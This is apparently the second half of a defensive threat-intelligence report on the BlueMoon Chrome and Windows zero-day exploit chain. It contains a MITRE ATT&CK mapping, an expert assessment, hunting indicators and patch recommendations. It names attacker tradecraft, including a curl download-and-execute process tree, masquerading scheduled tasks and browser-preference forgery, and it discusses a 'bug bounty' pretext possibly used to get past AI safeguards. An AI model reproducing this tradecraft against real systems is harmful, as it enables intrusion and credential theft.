| **Defense Evasion** | T1036.005 | Masquerading: Match Legitimate Name | Fake "Google Gemini" extension; tasks named `Windows Scheduled System`, `EdgeCore_AutoUpdate`, `GeForceService` |
| **Defense Evasion** | T1553 | Subvert Trust Controls | SUPERSTOMP forges Chrome Secure Preferences HMACs and `super_mac` |
| **Persistence** | T1053.005 | Scheduled Task/Job | `Windows Scheduled System` (5 min), `EdgeCore_AutoUpdate`, `GeForceService`, `Avpcheckup` |
| **Persistence** | T1176 | Browser Extensions | LONGTALE/GemStone persistently installed into the browser profile |
| **Persistence** | T1112 | Modify Registry | UNK\_LateNight stores a backup payload in the registry; UNK\_DoubleCheck persists via CLSID |
| **Credential Access** | T1555.003 | Credentials from Web Browsers | LONGTALE/GemStone steals cookies, localStorage, sessionStorage; ShadowPad takes Firefox profiles |
| **Credential Access** | T1056.001 | Input Capture: Keylogging | LONGTALE/GemStone records every keystroke on every tab |
| **Collection** | T1113 | Screen Capture | Screenshots triggered by C2-supplied keywords |
| **Discovery** | T1082 | System Information Discovery | `p1` DLL builds a full host profile; GRIMWEDGE `Info` command |
| **Discovery** | T1497 | Virtualization/Sandbox Evasion | `p1` detects hypervisors (VMware, Hyper-V, KVM, Xen) — **passively**, reporting only |
| **Command and Control** | T1071.001 | Application Layer Protocol: Web Protocols | HTTPS beacons; GRIMWEDGE tab-delimited POSTs |
| **Command and Control** | T1071.004 | Application Layer Protocol: DNS | UNK\_QuietRacket resolves C2 via Google DNS-over-HTTPS (TXT records) |
| **Command and Control** | T1102 | Web Service | Cloudflare Workers, Cloudflare Tunnels, and Cloudflare R2 Buckets as infrastructure |
| **Command and Control** | T1105 | Ingress Tool Transfer | `curl` downloads payloads; per-host staging (`%COMPUTERNAME%.txt`) |
| **Exfiltration** | T1041 | Exfiltration Over C2 Channel | LONGTALE exfiltrates every ~30 seconds |

* * *

## Expert Assessment

**The most concerning aspect of this case is not the exploit's sophistication, but the speed and pattern of its proliferation.** A fully weaponized Chrome exploit chain has historically been a rare, high-value capability — typically associated with commercial spyware vendors or heavily resourced APT groups. BlueMoon was developed, deployed rapidly, and **shared across at least five distinct groups within days** — at a level of OPSEC quality low enough to generate very high detection signal.

**That low OPSEC quality is itself the most revealing detail.** The default configuration — `curl` dropping a file to `%TEMP%` and executing it, producing a `chrome.exe → cmd.exe → curl.exe → msgbox.exe` process tree — is something any professional exploit development team would avoid. Combined with exploit code that **retains debug comments, verbose diagnostic logging, breakpoints, and a reference to a Markdown handover file**, the picture that emerges is a tool **pushed out of the lab with its development scaffolding still attached** — because the patch-gap window was about to close.

**On the evidence of AI-assisted development, appropriate caution is warranted.** Proofpoint states it plainly: **no single artifact conclusively confirms this.** But the collection of indicators — a Markdown handover file (a pattern characteristic of AI agents transferring context between sessions), self-narrating comments documenting each debugging round, instructions asking a "tester" to send back the full log — forms a notably consistent pattern. The sharpest detail is the question Proofpoint raises about the **v8CTF** references: was the exploit genuinely developed within Google's bug bounty framework, **or was the "bug bounty research" pretext used to evade large language model guardrails?** This is a question both the security industry and AI model developers need to take seriously.

**The core lesson about patch gaps extends far beyond this specific case.** The open-source model creates a structural paradox: the patch is committed publicly **before** it reaches end users, and the patch is the most detailed description of the vulnerability that exists. As reverse-engineering a patch and weaponizing it becomes cheaper thanks to AI, this window shifts from a theoretical risk to a **predictable attack opportunity**. Volexity assesses this with **high confidence** — and Proofpoint forecasts the pattern **will recur beyond BlueMoon**.

**Two notable details on public research becoming operational tradecraft:** First, the Chrome Secure Preferences forgery technique SUPERSTOMP relies on **was added to a popular GitHub repository on August 6, 2026** — just three weeks before the campaign. Second, the publicly committed Chromium patch is precisely what enabled exploit development. Both illustrate the same reality: **the gap between published research and in-the-wild exploitation is closing rapidly.**

**For organizations in Vietnam, this is a specific warning, not a theoretical risk.** A Vietnamese manufacturing company is already among the confirmed victims. UNK\_DoubleCheck's approach is particularly noteworthy on two counts: **(1)** the emails were sent from **a compromised Southeast Asian government account** — meaning every sender-reputation check (SPF, DKIM, DMARC, sender reputation) would pass **completely legitimately**; and **(2)** the lure theme was **vaccination appointment registration** — an ordinary administrative topic, creating no unusual sense of urgency, easily opened by an employee without a second thought. This is social engineering of noticeably higher quality than typical commodity phishing.

Beyond that, **Vietnam's manufacturing sector** — with its growing role in global supply chains — is a logical target for economic espionage. UNK\_QuietRacket's simultaneous targeting of Indonesia and Singapore indicates that **Southeast Asia falls squarely within the area of interest** of this exploitation wave.

* * *

## Recommendations

### Urgent (Highest Priority)

1.  **Verify the actual Chrome version in use — do not assume auto-update ran.** Ensure all workstations are on **Chrome 152.0.7977.82/.83 or later**. The critical point: Chrome only applies the patch **after the browser is restarted** — if employees leave Chrome open continuously for weeks (very common), they are **still running a vulnerable version** even though the update has been downloaded. Force a browser relaunch across the estate.
    
2.  **Check other Chromium-based browsers too:** Microsoft Edge, Brave, Vivaldi, Cốc Cốc, and other Chromium-based browsers are affected by the same V8 flaws and need corresponding updates.
    
3.  **Patch the Windows kernel (CVE-2026-85880)** — prioritizing machines running Windows 10 (all versions), Windows Server 2019/2022, and Windows 11 21H2.
    
4.  **Block all published IOCs** at the email gateway, proxy, and DNS layer — especially the UNK\_DoubleCheck domains if your organization is in manufacturing.
    

### Threat Hunting

1.  **Search for the distinctive process tree** in EDR/SIEM logs: `chrome.exe` → `cmd.exe` → `curl.exe` → execution of a file from `%TEMP%`. This is the highest-signal, easiest-to-deploy indicator.
    
2.  **Search for the** `v8ctf_exp_attempt` **key** in Chrome's `sessionStorage` on suspect machines — a direct trace of BlueMoon's retry mechanism.
    
3.  **Audit for suspicious scheduled tasks:** `Windows Scheduled System`, `EdgeCore_AutoUpdate`, `MicrosoftEdgeUpdatesTaskMachine`, `Avpcheckup`, `GeForceService`.
    
4.  **Audit browser extensions across the estate** — specifically searching for extension ID `ckiknalbeplpcpofpnabcnhjcegckfei` and any extension claiming to be "Google Gemini" but not installed from the official Chrome Web Store. Check the `C:\Users\Public\stomp_ext` directory.
    
5.  **Deploy the ET rules (SIDs 2071919–2071924) and the** `MAL_BlueMoon_ExploitKit` **YARA rule** published by Proofpoint.
    
6.  **Monitor for anomalous DNS-over-HTTPS queries** to Google DoH from endpoints with no legitimate business need — UNK\_QuietRacket's C2 resolution technique.
    

### Long-Term Prevention

1.  **Manage the browser lifecycle as a critical asset:** enforce periodic Chrome relaunch via Chrome Enterprise policy (e.g. `RelaunchNotification`) rather than leaving it to user habit.
    
2.  **Control browser extension installation with an allowlist** via Chrome Enterprise policy (`ExtensionInstallAllowlist` / `ExtensionInstallBlocklist`) — the most effective defense against LONGTALE/GemStone-style payloads, since malicious extensions are considerably harder to detect than executables.
    
3.  **Move off older Windows builds:** the LPE in this chain **only works on builds ≤ 22000**. Upgrading to Windows 11 22H2 or later **automatically neutralizes BlueMoon's entire LPE stage** — reducing a complete exploit chain to a browser exploit trapped inside the sandbox.
    
4.  **Targeted awareness training for manufacturing:** emphasize that **an email from a legitimate government address is no guarantee of safety** — that account may be compromised. Be cautious of links in routine administrative emails (appointments, notifications, forms) from unfamiliar counterparties.
    
5.  **For security teams: track patch gaps as a distinct risk category.** Consider a faster update channel for browsers (note that Chrome Extended Stable has a *longer* patch gap — weigh this carefully), and monitor Chromium/Chrome security announcements to proactively assess exposure windows.
    

* * *

## References

*   [Mind the (Patch) Gap: Multiple Chinese Threat Actors Chain 0-day Exploits in Chrome & Windows — Volexity (Ankur Saini, Conor Quigley, Sean Koessel, Steven Adair, Tom Lancaster, September 9, 2026)](https://www.volexity.com/blog/2026/09/09/mind-the-patch-gap-multiple-chinese-threat-actors-chain-0-day-exploits-in-chrome-windows/)
    
*   [Once in a BlueMoon: Multiple State-Aligned Threat Actors Rapidly Adopt Novel Exploit Chain Using Chrome and Windows Zero-Days — Proofpoint (Mark Kelly, Greg Lesnewich, Konstantin Klinger, Saher Naumaan, Julia Paluch, David Galazin, Stuart Del Caliz and the Proofpoint Threat Research Team, September 9, 2026)](https://www.proofpoint.com/us/blog/threat-insight/once-bluemoon-multiple-state-aligned-threat-actors-rapidly-adopt-novel-exploit)
    
*   [Volexity IOC Repository — 2026-09-09 Chrome (GitHub)](https://github.com/volexity/threat-intel/tree/main/2026/2026-09-09%20Chrome)
    

* * *